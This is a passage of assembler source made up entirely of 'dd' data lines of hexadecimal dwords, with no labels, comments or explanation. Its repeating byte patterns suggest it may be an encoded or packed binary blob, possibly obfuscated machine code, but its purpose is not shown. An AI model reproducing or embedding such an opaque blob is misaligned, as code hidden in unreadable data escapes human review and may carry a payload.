		dd 2204120Ch, 0F00409FCh, 0E091E848h, 0CC44D422h, 12BC89C4h
		dd 48AC24B4h, 229C91A4h, 848C4494h, 74127C89h, 64486C24h
		dd 54225C91h, 89444C44h, 2434123Ch, 9124482Ch, 4510221Ch
		dd 0F827C208h, 22EC1198h, 0D0D844E0h, 0C012C889h, 0B048B824h
		dd 0A022A891h, 89909844h, 247C1284h, 916C4874h,	44582260h
		dd 40894850h, 2C243812h, 18912048h, 17FF1022h, 7F48D08h
		dd 112FD2E9h, 5FE48B7Ch, 916F922h, 89A4AC44h, 2494129Ch
		dd 9184488Ch, 4474227Ch, 5489606Ch, 44244C12h, 30913C48h
		dd 0A8252822h, 0E4D8E333h, 9C8225Fh, 0F844B808h, 89F00640h
		dd 24E012E8h, 91D048D8h, 44C022C8h, 0A089ACB8h,	90249812h
		dd 80918848h, 70447822h, 12588964h, 48482450h, 22389140h
		dd 1824442Ch, 8121089h,	0F81B112Eh, 5EA4E905h, 916F922h
		dd 89C4CC44h, 24AC12B8h, 919C48A4h, 44882290h, 70897880h
		dd 60246812h, 50915848h, 3C444422h, 122C8934h, 481C2424h
		dd 220C9114h, 81FC7504h, 24EC12F4h, 91DC48E4h, 44C822D4h
		dd 0B089B8C0h, 0A024A812h, 8C919448h, 7C448422h, 126C8974h
		dd 48582460h, 2244914Ch, 2C34443Ch, 18122089h, 8481024h
		dd 0E903FC8Dh, 22E80991h, 0D0D844E0h, 0C012C889h, 0B048B824h
		dd 0A022A891h, 898C9444h, 247C1284h, 916C4874h,	445C2264h
		dd 44894C54h, 34243C12h, 20912C48h, 10441822h, 46848B08h
		dd 0E9F102F4h, 45BE8817h, 7C912FF2h, 225FE48Bh,	440916F9h
		dd 88899098h, 78248012h, 68917048h, 58446022h, 12488950h
		dd 48382440h, 22289130h, 0C14441Ch, 0F444848Bh,	91EC0801h
		dd 44DC22E4h, 0C489CCD4h, 0B024BC12h, 9C91A448h, 8C449422h
		dd 12788984h, 48682470h, 22549160h, 3C44444Ch, 2C123489h
		dd 1C482424h, 8221491h,	86F413E1h, 0E009C8E9h, 0D022D891h
		dd 89C0C844h, 24AC12B4h, 919848A4h, 44882290h, 68897480h
		dd 54245C12h, 49AD4C48h, 11994078h, 122C0934h, 481C2424h
		dd 70089110h, 6CFFF888h, 0E009E042h, 0C812D489h, 0B448BC24h
		dd 0A022A891h, 89909844h, 24801288h, 91704878h,	44602268h
		dd 48895058h, 30243C12h, 20912848h, 10441822h, 44848B08h
		dd 0F008FEF8h, 0DC22E491h, 89CCD444h, 24B812C4h, 2CB456B0h
		dd 0A011CCA8h, 90899809h, 80248812h, 6C917448h,	58446022h
		dd 12448950h, 48302438h, 22209128h, 40C4414h, 0D9FDF888h
		dd 12E809E9h, 48D824E0h, 22C891D0h, 0ACB844C0h,	9812A489h
		dd 84488C24h, 74227C91h, 89646C44h, 2450125Ch, 913C4848h
		dd 442C2234h, 14891C24h, 112E0812h, 0E9FCF81Bh,	0F9225EA4h
		dd 45BEC817h, 64912FF2h, 0A848B009h, 9822A091h,	89808C44h
		dd 246C1274h, 915C4864h, 444C2254h, 30893C44h, 1C242412h
		dd 0C911448h, 0FBFE0422h, 0EC12F481h, 0DC48E424h, 0C822D091h
		dd 89B8C044h, 24A412B0h, 9194489Ch, 44802288h, 64897078h
		dd 54245C12h, 44914C48h, 30443C22h, 12208928h, 480C2418h
		dd 0FAFC8D04h, 0E80991E9h, 0D844E022h, 12C889D0h, 48B424C0h
		dd 22A491ACh, 88904498h, 78128089h, 64487024h, 54225C91h
		dd 89404C44h, 24301238h, 91204828h, 44102218h, 0F96CFC08h
		dd 89EC09E9h, 24DC12E4h, 91C848D0h, 44B822C0h, 9C89A4B0h
		dd 88249012h, 78918048h, 64446C22h, 1254895Ch, 4844244Ch
		dd 2234913Ch, 1C24442Ch, 0C121489h, 0F84E0424h,	44F02230h
		dd 0D489DCE4h, 0C024C812h, 0AC91B448h, 9C44A422h, 12888990h
		dd 48782480h, 22689170h, 4C544458h, 3C124489h, 28483424h
		dd 10221C91h, 2FC20845h, 91E1F7EDh, 0E822EC09h,	89D0DC44h
		dd 24B812C4h, 91A048ACh, 44882294h, 6889707Ch, 5C246412h
		dd 50915848h, 3C444822h, 122C8930h, 481C2420h, 220C9118h
		dd 0F6FC3608h, 0E84409E9h, 12E089E4h, 48C824D4h, 22B891BCh
		dd 0A4B044B4h, 9412A089h, 7C488824h, 64227091h,	89545844h
		dd 243C1248h, 91344838h, 441C2228h, 0F8880410h,	12EC81F5h
		dd 48D424E0h, 22CC91D0h, 0B8BC44C8h, 0A012AC89h, 98489C24h
		dd 0E9843C8Dh, 0EE092DF2h, 74488024h, 6C227091h, 89646844h
		dd 24481258h, 91404844h, 44282234h, 489101Ch, 7F4F811h
		dd 22E49138h, 0D0D444E0h, 0B812C489h, 0A048AC24h, 90229491h
		dd 89788444h, 2468126Ch, 9150485Ch, 44382244h, 18892834h
		dd 8240C12h, 0D1F3FC46h, 91EC09C8h, 44E422E8h, 0D489DCE0h
		dd 0C424CC12h, 0DC88B848h, 11B41963h, 0AC0991B0h, 0A444A822h
		dd 129C89A0h, 48902494h, 4884E48Ch, 22789180h, 646C4474h
		dd 5C126089h, 4C485824h, 3C224491h, 892C3444h, 2B241228h
		dd 4FAF20D3h, 46BCA418h, 0C524118h, 446C208Ch, 0FC880408h
		dd 91F481F2h, 0E422EC09h, 89CCD844h, 24C412C8h,	91BC48C0h
		dd 0BDB422B8h, 11B0A0A6h, 0A809AC64h, 0F82CE845h, 54E4D788h
		dd 0E421D7A4h, 11CD9C30h, 4D7B0994h, 7E118CE0h,	1133405Fh
		dd 70092274h, 89686C44h, 24581260h, 91484850h, 4430223Ch
		dd 1C892024h, 10241812h, 44B80848h, 0ECF140F8h,	0D412E089h
		dd 0CC48D024h, 0C022C891h, 89B0B844h, 249C12A8h, 91844890h
		dd 447C2280h, 68897078h, 58246012h, 40914C48h, 30443422h
		dd 1228892Ch, 48182420h, 10089110h, 8973F0FCh, 24E012E4h
		dd 91D848DCh, 44C822D0h, 0AC89B8C0h, 9424A012h,	8C919048h
		dd 80448822h, 12708978h
		dd 54FA2B68h, 50115C66h, 484C4409h, 3C124489h, 2C483424h
		dd 18222491h, 2BC20C45h, 0F82A38FAh, 9C888EFh, 22E491E8h
		dd 0D8DC44E0h, 0C812D089h, 744CC024h, 11C4BCC1h, 37AA2E78h
		dd 0A9124FECh, 0CCB4ACF0h, 0A409AC51h, 8C129889h, 7C488424h
		dd 6C227491h, 895C6444h, 244C1254h, 545C4944h, 0AADCC4ECh
		dd 323CC463h, 2C093429h, 1C482424h, 0C221491h, 40FC0444h
		dd 0EC89F4EEh, 0DC24E412h, 0CC91D448h, 0BC44C422h, 12AC89B4h
		dd 489C24A4h, 228C9194h, 747C4484h, 64126C89h, 54485C24h
		dd 44224C91h, 89343C44h, 2424122Ch, 9114481Ch, 2004220Ch
		dd 0F444EDFCh, 12E489ECh, 48D424DCh, 22C491CCh,	0ACB444BCh
		dd 9C12A489h, 0EFB85429h, 918C1919h, 0CC788409h, 78118029h
		dd 5C2809C9h, 1970C630h, 60096864h, 50915848h, 3C444822h
		dd 12288934h, 4D1C2424h, 922AA1DCh, 809318A8h, 6E101122h
		dd 10110908h, 8973ECF8h, 24D412E0h, 91C448C8h, 2DA812C0h
		dd 0B8CC58A2h, 9C8AC21h, 4A9491A0h, 0D68C48E4h,	84C8D311h
		dd 9781132h, 145C2970h,	68116C99h, 4F640991h, 1160344Ch
		dd 1068F958h, 0AF78A8D2h, 2C4BF858h, 71CC503Ch,	8948094Ch
		dd 2D981144h, 341159B3h, 452C0922h, 326C2928h, 242031B8h
		dd 91104818h, 0EBF81004h, 0F009F432h, 0E822F12Fh, 89E0E444h
		dd 24D412DCh, 91C448CCh, 44B022BCh, 9C89A0A4h, 90249812h
		dd 80918848h, 6C447822h, 125C8960h, 48542458h, 2244914Ch
		dd 383C4440h, 28123089h, 20482424h, 14221C91h, 8B040C44h
		dd 0EAFC4484h, 0F091F808h, 0E044E822h, 12D889DCh, 48CC24D4h
		dd 22BC91C4h, 0B0B444B8h, 0A012A889h, 94489824h, 8C229091h
		dd 897C8444h, 24701274h, 9168486Ch, 44582260h, 48894C50h
		dd 3C244412h, 2C913448h, 24442822h, 12188920h, 48082410h
		dd 0FC44B804h, 89F4E940h, 24E412ECh, 91DC48E0h,	44D022D8h
		dd 0BC89C0C8h, 0B424B812h, 0A491AC48h, 98449C22h, 12908994h
		dd 48802488h, 22749178h, 646C4470h, 54125C89h, 4C485024h
		dd 40224891h, 89303844h, 2428122Ch, 911C4824h, 440C2214h
		dd 848B0408h, 8E8F844h,	0E4C4BBF0h, 0DC12E089h,	0CC48D424h
		dd 0C022C491h, 89B8BC44h, 24A812B0h, 6C2352A0h,	9811329Ch
		dd 88249009h, 78918048h, 68447022h, 12548960h, 483C2448h
		dd 222C9134h, 141C4424h, 4120C89h, 4E7FC22h, 0BFF048F4h
		dd 0D889E0C4h, 0C824D012h, 0B891C048h, 0A845B022h, 0DE2E4435h
		dd 8FD1A9C0h, 8CDBAC3Eh, 6310910h, 33353234h, 37671036h
		dd 0BB9F390Ch, 170B6D10h, 6FFFF731h, 17B6A17Eh,	0F1DDB21h
		dd 38363280h, 10BB3445h, 6D08F578h, 76626E11h, 328B48DBh
		dd 7974338Bh, 78737714h, 65157C14h, 0A2C6364h, 347A6171h
		dd 319418A1h, 7F7BDD10h, 45DF63E2h, 973758A7h, 0C571D8E9h
		dd 0C665C577h, 612088Dh, 1C83160Ah, 0CA1E3A41h,	66230ADh
		dd 2C84AA32h, 913C88D0h, 6708904Ch, 181D790Ch, 87A2C17h
		dd 239C11EEh, 645A0934h, 84081B03h, 15CE0867h, 77196518h
		dd 0DC080150h, 70463823h, 192A18ABh, 8860176h, 33C219E1h
		dd 19185985h, 37015479h, 11CE0808h, 0CA182A9Ch,	0A1017419h
		dd 7046B808h, 1856E18Ch, 1735519h, 33C2080Dh, 180A6784h
		dd 0A87519B2h, 116E0801h, 5538239Ch, 70199518h,	70084301h
		dd 0C219E18Ch, 6F1918ACh, 81B01AAh, 0CE086784h,	19651815h
		dd 801506Eh, 463823DCh,	2A18AB70h, 86016D19h, 0C219E108h
		dd 18598533h, 1546C19h,	0CE080837h, 182A9C11h, 16B19CAh
		dd 46B808A1h, 56E18C70h, 6A551918h, 0C2080D01h,	0A678433h
		dd 6919B218h, 6E0801A8h, 38239C11h, 19951855h, 8430168h
		dd 19E18C70h, 1918ACC2h, 1B01AA67h, 8678408h, 651815CEh
		dd 1506519h, 3823DC08h,	18AB7046h, 1661928h, 19E10886h
		dd 0D0A88C2h, 2B4F624h,	0C9080837h, 196C00DEh, 8501AC63h
		dd 9C43B80Ch, 2421122Bh, 156E20C8h, 62196518h, 0C2D0164h
		dd 59E11CC2h, 43240E12h, 18AB7020h, 66721913h, 0E724E213h
		dd 0D732DBC9h, 66F4F173h, 6A681267h, 0CB4516Bh,	8C821DCh
		dd 1891116Eh, 0D44C944Dh, 6E627605h, 808376Dh, 9DB10CEh
		dd 6B191164h, 6154C3BFh, 541C649Eh, 33BA594Fh, 0C34B2041h
		dd 72292852h, 0AD429FC8h, 8587435Fh, 0D4CF34EFh, 0B32DEF04h
		dd 0F7060C16h, 0D434084Dh, 740CC077h, 6F697579h, 0DC0C7052h
		dd 0E410CE21h, 6A09081Ah, 54D9550Ch, 50393199h,	78660C4Dh
		dd 0C420143h, 15CE21DCh, 0E4249012h, 0A082026h,	494B4F4Eh
		dd 530AB8C3h, 1DBC5845h, 54BF7D52h, 1C50563Dh, 9453F044h
		dd 8C4D4799h, 5A9D4F2Ch, 410C8132h, 0ED60C73Eh,	594EFC59h
		dd 6139D4A6h, 875A46Dh,	4D415387h, 474E5531h, 6E6F209Fh
		dd 3637604Ch, 33283435h, 58BA632h, 6F070341h, 1336B0C2h
		dd 91351123h, 0EF31C834h, 395A9F50h, 38081902h,	478E371Ch
		dd 91352336h, 0E433C834h, 0E8B87732h, 77386450h, 0DF11EF88h
		dd 7847BCE3h, 0E21DF18Eh, 8877C43Bh, 887737E4h,	23DE11EFh
		dd 8E78C7BFh, 3BE21DF1h, 0E48877C4h, 0EF887736h, 0BC23DE11h
		dd 0F18E7F47h, 0C43BE21Dh, 35E48877h, 11EF8877h, 47BC23DEh
		dd 1DFF8E78h, 0F4B733E2h, 5370D434h, 8185008h, 26636284h
		dd 11726D2Fh, 3D28163Dh, 3CD10884h, 0A11F4508h,	10361F10h
		dd 0D108843Fh, 1F42083Eh, 90365044h, 169DA23Bh,	430EE10Ch
		dd 8A8C7008h, 8FDF0F18h, 0DADCB430h, 0AFD4330Eh, 0CB4A107Ah
		dd 6F243F48h, 0DAE972B8h, 2822F471h, 0F49BFAF3h, 28347FAFh
		dd 0CD00191h, 847308B7h, 289EC239h, 0B72031D0h,	80A1180Ah
		dd 0CA10123h, 0AB7106Eh, 181B7A1Ch, 0A082785h, 239CA118h
		dd 6E0CA101h, 7308E710h, 0A1283D85h, 156E2031h,	36196518h
		dd 0C2D0174h, 0EE11CC2h, 0B428A770h, 0C2202D31h, 351918ACh
		dd 0C8501AEh, 219C43B8h, 0F62814CEh, 0B8208531h, 19951855h
		dd 0CD00134h, 847308B7h, 289EC239h, 0B72031D0h,	19B2180Ah
		dd 1601BA33h, 700EE10Ch, 28533887h, 201631DAh, 191856E1h
		dd 42013257h, 0CE21DC0Ch, 280AE710h, 2031427Bh,	0CA182ADCh
		dd 0E8013119h, 2D845B0Ch, 0E1109CC2h, 0B8890854h, 440875CBh
		dd 36893839h, 34243512h, 32913348h, 672A4A65h, 0B210801h
		dd 64A4106Eh, 0D243912h, 0A85C220h, 2D017430h, 40418C0Ch
		dd 0C8230821h, 34C240Bh, 4709A625h, 9026235Eh, 0F103A62Ah
		dd 11DA0906h, 2B806919h, 904C9433h, 6E3D0844h, 3D7DAC2Dh
		dd 0EB60CD5h, 0C8B0309h, 42115BECh, 7411C34h, 0D0E0A04h
		dd 38093B40h, 0DBFA2111h, 23E81109h, 5E2A2524h,	0C8EC026h
		dd 19E10886h, 9681BC2h,	94CB411h, 6D692D7Ah, 782FAA7Eh
		dd 0B30C8303h, 0EC798370h, 0AF3695BFh, 0CF6EC083h, 7AD77807h
		dd 27BB760Fh, 20D44E81h, 0FE38186Dh, 6216C458h,	30887275h
		dd 9FD89777h, 616B657Eh, 41EC4408h, 0C870FD79h,	8ACF7267h
		dd 55217A68h, 0CCF525CAh, 4618DBE6h, 28A42A68h,	45F756AFh
		dd 0C70C5269h, 945709F8h, 691083DDh, 28F53618h,	87C80C6Ch
		dd 2093F627h, 168ADB0Ch, 0FDFBC6AEh, 9F4C7872h,	66F4CA37h
		dd 186DCDE3h, 69A895B7h, 67797650h, 449D32D0h, 66EC680Ch
		dd 257871B7h, 9BF7893h,	68A88455h, 0BE5C740Ah, 84446A36h
		dd 40F620D1h, 0BCB46F89h
		dd 62757061h, 93DF08A5h, 241FADB2h, 637DA42Ah, 0C830792h
		dd 0B4640C29h, 190C6715h, 6D68796Ch, 28DE61F5h,	843FAAA2h
		dd 6318CD24h, 0BDE33F36h, 0DB24907Ch, 0E67EF409h, 0B612C4D4h
		dd 0C346F902h, 0C613AC8Ch, 9776518h, 946DCE83h,	8AF4609h
		dd 0DEB20A56h, 0A1A0DA73h, 89C7A65h, 90DA6065h,	6B44B928h
		dd 6A3CD2B8h, 36BB8EE8h, 0ACC72A1Ah, 7CDB7563h,	622E4CDDh
		dd 6C67B6A0h, 9E4F0CB4h, 5E6848F3h, 193AE1DAh, 0A5AFF2ACh
		dd 6682EA1Bh, 2FA4404Ah, 68209265h, 18D04044h, 0DAEC45AAh
		dd 0C37FF992h, 735E2B32h, 34202A94h, 36966261h,	2CAA2A84h
		dd 0D4B605AFh, 32915AECh, 0BD18AD08h, 0E2B764A0h, 7A302FB5h
		dd 830C44D0h, 73263718h, 7C25B809h, 3314E883h, 145670A2h
		dd 60186A14h, 6ED63237h, 0BFB88699h, 3668786Bh,	689A0C44h
		dd 38E70DD1h, 61210C0Bh, 1B3445A4h, 8E374C5Fh, 0DA3894E9h
		dd 60420919h, 256CBFA5h, 626C0610h, 6F760973h, 35B56981h
		dd 4C4A5EBh, 8DB451B3h,	666AAC42h, 0DB8E20A8h, 9FE76387h
		dd 4640999h, 44DCE41Ah,	6331A9B4h, 1A7F2447h, 412BF509h
		dd 34191B5Fh, 1A097992h, 6CB36EB5h, 1C06185Ah, 6409666Ch
		dd 11729E62h, 9642014h,	30783468h, 0C111FBAh, 0A450B31h
		dd 69858847h, 34D20834h, 0DCA06630h, 580C2AA6h,	0EADB5833h
		dd 39657AF8h, 0C80C3552h, 454D7038h, 6B320887h,	85707870h
		dd 7834B026h, 87380C2Ch, 72454D08h, 317E3C2Bh, 195058C3h
		dd 9534D19h, 0C9620224h, 285979D8h, 6064F144h, 4893835h
		dd 0B1438E25h, 0CA96E479h, 0F79BA322h, 0F975CF5Eh, 2E92419Bh
		dd 36305378h, 334B1854h, 34B9C489h, 0A208A679h,	3030077Dh
		dd 0B0D8E419h, 52C1E555h, 508CBAB1h, 7214AF43h,	1036D012h
		dd 21DC08D0h, 48FC93ADh, 119A026Eh, 77B9B16Eh, 75A403CBh
		dd 854956Ch, 0F5622CA5h, 0C7EB124Fh, 0C89CBBC6h, 0E8431C8Ah
		dd 0C328798Ah, 683D5D26h, 18B45408h, 1D1028C4h,	82115BC5h
		dd 5D732608h, 196C9BA4h, 9DC7AB6Ch, 2968FCCBh, 9E116D0Ch
		dd 54FE6B34h, 18AB6708h, 0D7AB35C5h, 3C641A1Ch,	1055AC6Fh
		dd 106E8847h, 45106ECAh, 0EE082561h, 6808F911h,	77669C2Eh
		dd 0D6D4CDAh, 0CDCA3C9Eh, 369478BCh, 8C78086Dh,	4708860Ch
		dd 9666236Bh, 0C491064h, 680826A4h, 0C3AA0AAh, 0FB420813h
		dd 45A14908h, 1092DE08h, 42EE4BDDh, 0A47C245Ah,	83D39A48h
		dd 4104C4Ah, 10A81A41h,	8F8B9710h, 2484F094h, 4CB3E2BDh
		dd 0B4119418h, 91E49D10h, 26D26511h, 6C69114Ch,	4B204ED2h
		dd 0C2282D65h, 8683459h, 4A3433A5h, 93C39AAh, 0A4850614h
		dd 0A2087955h, 248408C7h, 796B8D80h, 0CE0B08A2h, 82228DEh
		dd 50766524h, 1C3293CFh, 1008A86Eh, 0DC0BAE4Dh,	53640650h
		dd 69210879h, 79BC7CA1h, 8222996h, 0ED930ACh, 4CEE73EEh
		dd 4B209098h, 3F6D5E70h, 25DC762Bh, 88488DFh, 0B20C0D4Bh
		dd 21427409h, 0F7089270h, 0A3083128h, 4A671710h, 660C7375h
		dd 48830666h, 107A0A29h, 38246C21h, 0EA6F76E7h,	513C716Bh
		dd 2DB03EDBh, 0BAC2F762h, 0F908280Ch, 0E5AED734h, 0B01816D2h
		dd 61EB10A3h, 100C7485h, 0A842CC08h, 6F071069h,	9EC8D6Fh
		dd 819A21Ch, 22B37695h,	4A37AB08h, 0C20FC411h, 88E6F0Bh
		dd 48E250B7h, 5C42B990h, 0FF65CC41h, 5D6D0802h,	11C94078h
		dd 823A86Ch, 5855CF36h,	0DC43E275h, 0C084D478h,	8795574h
		dd 6D731010h, 24F3B563h, 0C807D6ADh, 0A36AA40Ch, 0D72C250Ch
		dd 0D4A17210h, 8448476Ch, 0BE60CD63h, 0E179D510h, 0EE967F70h
		dd 6301FD11h, 0CD7E096Bh, 1DFC2FD0h, 677824D2h,	6179F80Ch
		dd 46A53E1Dh, 0F630802h, 0EE514AB1h, 4387499Ch,	0F8B7789Ch
		dd 829C84D9h, 3CC45197h, 6ED7672Eh, 1B3BD413h, 6A421019h
		dd 33F65210h, 0B7621179h, 721E109Ah, 868A97Dh, 8821651Ch
		dd 8DE96E6Fh, 14181649h, 84617B6Ah, 0FD5A9082h,	0C5C811DBh
		dd 6B651005h, 288A2027h, 8E209368h, 0CB2FAE3h, 0A8FF081Ah
		dd 49CA1401h, 6308D43Eh, 238C7970h, 45B86569h, 58076775h
		dd 63F47887h, 6DA9626h,	7B5C12D6h, 280C2160h, 808D072h
		dd 6E2C9F58h, 0A20CE8DCh, 0A6677108h, 196AAAF0h, 73E969F0h
		dd 466E0848h, 656D1161h, 498BC493h, 0B4846608h,	6810926Eh
		dd 7664B649h, 541868D0h, 0AD336A69h, 0B816107Fh, 9C50844Ah
		dd 9D502235h, 734A3652h, 0B8D9A825h, 4255E32Eh,	0E86CC80Ch
		dd 389E4878h, 0CB736996h, 0DE1701Ch, 24683025h,	521426B4h
		dd 88AE492h, 44421012h,	4D610812h, 44084973h, 66345309h
		dd 794C9800h, 872284Dh,	67D294EBh, 9451D344h, 7CA67858h
		dd 97F466D1h, 676FC80Bh, 1C142188h, 0D079506Dh,	86529B3h
		dd 3E4546B8h, 0CC4010ACh, 7A8C6B11h, 0ADB29662h, 70ABC00Eh
		dd 0DE97C866h, 9619CD8Bh, 66FF6598h, 625818B0h,	79A7D335h
		dd 74E2106Fh, 0F126863h, 8293CB9h, 82537212h, 667A2A0Bh
		dd 8710D3C0h, 0EA11AD83h, 29D4109Bh, 8535C4E3h,	5A20C45Ch
		dd 3CD96F08h, 0C90114Eh, 9738355Bh, 50C70B49h, 0CD04338h
		dd 0B6E6FA1h, 0DD616D11h, 106DFEE4h, 6024C404h,	8492A2C6h
		dd 0E221A208h, 1A0C1A4Bh, 96BDD08h, 77621114h, 0F42D9E34h
		dd 64CAA72Eh, 114EACD9h, 31706985h, 0D676E08h, 0C741963Ch
		dd 0C8C8F1C2h, 3140CD0Ch, 7B0C0ABFh, 7D5A11D3h,	640811C6h
		dd 34E1441Dh, 90AA124h,	6FA29708h, 0BE7008CBh, 4F08E814h
		dd 61C46C28h, 82866B28h, 4398E39Ch, 0E85B0CB4h,	4D0842B1h
		dd 431447CCh, 41E54C08h, 0C1419BFh, 79476308h, 0DC656911h
		dd 79A23F23h, 0B0CD724Eh, 0C6725FE2h, 0E17020A9h, 0E574556Eh
		dd 436F3651h, 7808450Ch, 0A93FDEF8h, 7F3C1874h,	0CE8C49Eh
		dd 0B0B40848h, 0C58D1052h, 72611188h, 6FED2269h, 0E6C4B377h
		dd 32A982F9h, 0AAE357FCh, 720820D5h, 0F5846563h, 4FF7CBEEh
		dd 5684C411h, 34EC8418h, 64103108h, 8B12E672h, 6AEC0FF3h
		dd 55494479h, 0C32309Ah, 0E8640811h, 0A284796Dh, 0FBB589E6h
		dd 0F21835A4h, 33106B08h, 0CF6EC394h, 692434AFh, 1CE833E0h
		dd 21656B10h, 0C9756688h, 6DC3C99Bh, 8E5427F5h,	179E38F4h
		dd 1E67246Fh, 0F0386A08h, 211C9E69h, 0AE20A208h, 8966F190h
		dd 404DED78h, 4045A23Ch, 0FD2C44E2h, 9D8D0844h,	0C59B10A5h
		dd 2475D5C7h, 69E8F630h, 0C4623310h, 10A08A9Dh,	886C5D89h
		dd 257019D9h, 0CB2DE0Ch, 0DCF82812h, 0E9801084h, 11D37974h
		dd 68A848D4h, 242C26B4h, 67F140A6h, 9B682518h, 6F102B6Dh
		dd 692D3CB4h, 11CAC866h, 0F5481061h, 10B5BD2Ch,	6510F476h
		dd 0A795E72h, 4D306608h, 4CF7EEA1h, 0F110846Ch,	8A4A7478h
		dd 513442D0h, 826A110h,	0B8636B1Fh, 1C632346h, 2434686Eh
		dd 0CBD07865h, 0CB6DC187h, 8486071h, 3B26B82Bh,	74946E9Eh
		dd 50AFD724h, 698F0866h, 18DA6874h, 104D0D56h, 1009CD31h
		dd 27DE383Ch, 0CC88ADCh, 0B44DE84Dh, 0D89E12Fh,	0F810BBC0h
		dd 86707947h, 59C3724Ch, 0D83CDF6Ch, 6810D9F9h,	6482162Bh
		dd 4A0C245Eh, 6BA46514h, 0C44D9EAh, 7C9378EEh, 0B634CE3Fh
		dd 9C990852h, 537E18BDh, 86700868h, 821F09Eh, 49BC8CA9h
		dd 0FA10DAC0h, 7A2486E3h, 4708A66Ch, 40E65C65h,	10AA6608h
		dd 11320373h, 2E6E3973h, 91104626h, 6411B28Bh, 79622898h
		dd 4365F08Ch, 32F3786Eh
		dd 0DDED5F14h, 6EA810DAh, 0B72D6908h, 620C0C58h, 420880D1h
		dd 44505F10h, 9F804808h, 657B0828h, 0B02F18AAh,	0E8640894h
		dd 8C82778h, 84A7746Eh,	50D6792Ah, 860C8678h, 2E19E108h
		dd 0C73D824h, 0A748C6Ch, 4A086EA8h, 82F52889h, 100C3293h
		dd 8C6E6908h, 6029BB82h, 0CD5898B2h, 852855F1h,	104036F3h
		dd 96105ED0h, 0FD2EF8CDh, 0F5115B99h, 4808D10Ch, 0A1745197h
		dd 94231408h, 1A6810B2h, 0D8864470h, 12766525h,	0AE825C81h
		dd 3E402128h, 0D472844Eh, 0CD0C34B0h, 98E252Dh,	6F109170h
		dd 59C3BDDEh, 4F904221h, 11D95CBCh, 0E69A4467h,	6618645Ch
		dd 480CC6C9h, 0E2549564h, 0E49E11B7h, 63496E77h, 10D079C4h
		dd 85A68E8h, 61146347h,	49105A27h, 0BC9215C2h, 11334873h
		dd 32798A6Ch, 805DF4Ah,	9AE2467h, 7D1B7AE0h, 439E1048h
		dd 4C664EC8h, 0AD908210h, 97C1107h, 2449844Bh, 0ACF5AA14h
		dd 10340814h, 293A34C9h, 4B0C1970h, 40C45A8h, 0E8488608h
		dd 1BC43ABDh, 754A8408h, 0A0D249B5h, 2ED07371h,	0E0C64B08h
		dd 0C8579433h, 0A6742708h, 0DE0C7294h, 261C69h,	76FF6B1Bh
		dd 1848FF10h, 0AC2CA663h, 94A6F172h, 1859BF76h,	116B0C46h
		dd 0E765A875h, 5E2D1421h, 370868DBh, 0AD10AA92h, 8A0415Eh
		dd 9D8A5A97h, 2C862894h, 0D60C6353h, 0C110235Ah, 105573ECh
		dd 8A94F496h, 55201208h, 6E27D3F1h, 0D0148C5Ch,	0C6490818h
		dd 0E518843h, 116B6B32h, 111E6A57h, 0CCEF6124h,	14F46F22h
		dd 342E106Dh, 20081118h, 3F72FB78h, 0F76E0840h,	9AE21049h
		dd 0DBF83218h, 0B8113790h, 0BA27AFCAh, 0E8D076FCh, 91A6D0Ch
		dd 53274408h, 0E3CACD70h, 0DD6D2C3Dh, 4518DB20h, 0B2E36412h
		dd 60849A76h, 0F76279C1h, 0C4088BCEh, 71ECB029h, 852F57Ah
		dd 5FBCB373h, 102726CEh, 297C49EBh, 375C4130h, 6849782Ch
		dd 4B109A9Dh, 85DCD6Eh,	15A373DEh, 98551063h, 40FDAA14h
		dd 0B4E111DAh, 8D11AF78h, 804A598h, 50EB4856h, 21DC089Dh
		dd 0E738EBAFh, 4FEA460Bh, 43ACCA61h, 77844F1Ch,	6F66084Fh
		dd 0BCF23363h, 0BF9F1C90h, 9258D8D3h, 825104Ah,	1110124Ah
		dd 68240850h, 195A5390h, 0C4253EDh, 0D1B16F8Eh,	29A291ECh
		dd 670F1073h, 28215F75h, 0AE6F7ED5h, 13EFA298h,	0DE1041B2h
		dd 172A6809h, 8E9F8718h, 6F2FB2F2h, 7991BF11h, 5A7F3496h
		dd 6C136408h, 60D473E2h, 20641ECFh, 942614A3h, 0E241116Fh
		dd 1AC2080Dh, 9108201Ah, 6B103259h, 18B47CE5h, 8348894h
		dd 0A877CF85h, 11ED90CAh, 1264C2EFh, 0C0F9AD50h, 9AB5786Fh
		dd 73004969h, 8765C2FFh, 75BF7008h, 77AE6510h, 0EFC50857h
		dd 0D77C4CA3h, 9610C944h, 0A4896310h, 7AC62EA5h, 0DAC64AAAh
		dd 84B310D2h, 45DCB578h, 7D4B0CC8h, 18553D0Eh, 4216B692h
		dd 7F775D0Ch, 7D346D4Eh, 78A89394h, 0E3510842h,	18D9B438h
		dd 9E0E7864h, 188D6B13h, 34CB126Ah, 8E86D6B8h, 80A2E0D6h
		dd 0F5B1C91h, 0CC53759Fh, 795B6E74h, 3B549D13h,	98A3D679h
		dd 0FB970C90h, 0BC10DD36h, 6B106CF4h, 0E18E6DFEh, 2D8E640Ch
		dd 8AAC6C63h, 0A7B178C0h, 971210B4h, 2B4D9BAh, 8916C0Ch
		dd 7418C261h, 65218E68h, 40FAF73h, 4C4308B4h, 6D7AB678h
		dd 49157211h, 0A9977146h, 129CC27Eh, 9537C440h,	0B5E4E4B3h
		dd 47592C78h, 2108450Ch, 3F646ABFh, 288A0C5Ah, 53491008h
		dd 0EC1034ACh, 410F587Ah, 65503308h, 0D4EF7311h, 0CA1C37A1h
		dd 2C896808h, 0FD4BBC3Bh, 0A5119A4Ch, 483770CAh, 0FD6B24BAh
		dd 4D6B38Dh, 812C908h, 7621611Ch, 732BBC79h, 536834B0h
		dd 18146684h, 0A514F1BDh, 0A952CEEh, 626B1CD9h,	4F805E03h
		dd 0BCD08912h, 0E0A273B6h, 0FDC26109h, 7E3C6C59h, 0F5267A5Bh
		dd 43F7A310h, 867008F6h, 7518C2FFh, 0A519F373h,	416C338Eh
		dd 0E0758018h, 677410B3h, 6D282AD7h, 63203018h,	450C4AEDh
		dd 15A82508h, 147BA108h, 9A2C3708h, 0D226D54h, 892EE10h
		dd 106D3E74h, 1020362Ah, 6C29D798h, 20A20873h, 8FB089Fh
		dd 6B933068h, 0D678DCF3h, 675AE2CAh, 0CCBA6611h, 2A48F049h
		dd 0B608796Bh, 8964377Ah, 1023B43Bh, 0E464946Bh, 2489844Eh
		dd 0ABCDBE0Ch, 5D280C1Dh, 767F0C47h, 8A18568h, 79656B04h
		dd 9058B234h, 8A99F0Ch,	1421F8A6h, 61460848h, 2437F113h
		dd 73B1C24Ah, 0FA45089Bh, 0A10C1DEAh, 8480C5Ch,	69C8729Dh
